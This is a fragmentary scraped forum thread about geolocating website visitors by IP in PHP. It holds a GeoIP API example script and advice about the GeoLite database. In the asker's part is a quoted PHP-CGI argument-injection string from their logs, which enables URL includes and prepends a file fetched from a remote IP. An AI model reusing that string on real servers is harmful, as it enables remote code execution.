<?php // RAY_geoio_example.php
error_reporting(E_ALL);
// GET INFORMATION ABOUT YOUR SITE VISITORS LOCATION FROM GEOIO.COM
// MAN PAGE: http://www.iana.org/numbers/
// THIS IS THE URL FOR THE API
$key = 'YOU MUST GET YOUR OWN APIKEY';
$url = "http://api.geoio.com/q.php?key=$key&qt=geoip&d=pipe&q=";
// THIS IS THE CLIENT IP ADDRESS (ALMOST ALWAYS)
$ipa = $_SERVER["REMOTE_ADDR"];
$dat = file_get_contents($url . $ipa);
$inf = explode('|', $dat);
// SHOW WHAT WE GOT
echo "<pre>";
echo PHP_EOL . "CITY: $inf[0] ";
echo PHP_EOL . "STATE: $inf[1] ";
echo PHP_EOL . "COUNTRY: $inf[2] ";
echo PHP_EOL . "CARRIER: $inf[3] ";
echo PHP_EOL . "LAT: $inf[4] ";
echo PHP_EOL . "LON: $inf[5] ";
// SHOW A GOOGLE MAP OF WHAT WE GOT
$lnk = "<a target='_blank' href='http://maps.google.com/maps?f=q&source=s_q&hl=en&q=$inf[4],$inf[5]'>MAP: $inf[4],$inf[5]</a>";
echo PHP_EOL . $lnk;
ASKER
-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt
Then a few more came without the query.echo "<td><a href='https://ipdb.at/ip/$ip_list'>$ip_list</a>";
ASKER
PHP is a widely-used server-side scripting language especially suited for web development, powering tens of millions of sites from Facebook to personal WordPress blogs. PHP is often paired with the MySQL relational database, but includes support for most other mainstream databases. By utilizing different Server APIs, PHP can work on many different web servers as a server-side scripting language.
TRUSTED BY
If your table as a column with IP addresses, you could download and install into mysql some GeoIP database which you can do some simple join to get the Long/Lat info for that IP address or IP address range which you then present in an web page.
GeoLite is a free GeoIP database available for download
dev.maxmind.com/geoip/lega
and there are many other GeoIP MySQL databases on the web as well as GeoIP lookup services which you could join into your web page if you want to go that way in your web design.
Regards,
Tomas Helgi